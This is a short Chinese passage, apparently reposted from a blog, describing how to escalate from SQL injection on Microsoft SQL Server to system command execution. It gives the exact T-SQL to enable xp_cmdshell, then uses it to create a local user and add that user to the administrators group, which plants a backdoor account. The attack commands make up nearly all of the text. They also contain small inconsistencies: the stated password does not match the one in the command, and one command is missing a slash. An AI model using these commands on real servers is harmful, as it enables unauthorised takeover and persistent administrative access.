getshell或者存在sql注入并且能够执行命令。
sql server是system权限，sql server默认就是system权限。
有了xp_cmdshell的话可以执行系统命令，该组件默认是关闭的，因此需要把它打开。
开启xp_cmdshell
exec sp_configure ‘show advanced options‘, 1;reconfigure; exec sp_configure ‘xp_cmdshell‘,1;reconfigure;
关闭xp_cmdshell
exec sp_configure ‘show advanced options‘, 1;reconfigure; exec sp_configure ‘xp_cmdshell‘, 0;reconfigure
exec master..xp_cmdshell ‘net user test pinohd123. /add‘ 添加用户test，密码test exec master..xp_cmdshell ‘net localgroup administrators test add‘ 添加test用户到管理员组
原文：https://www.cnblogs.com/-qing-/p/10692824.html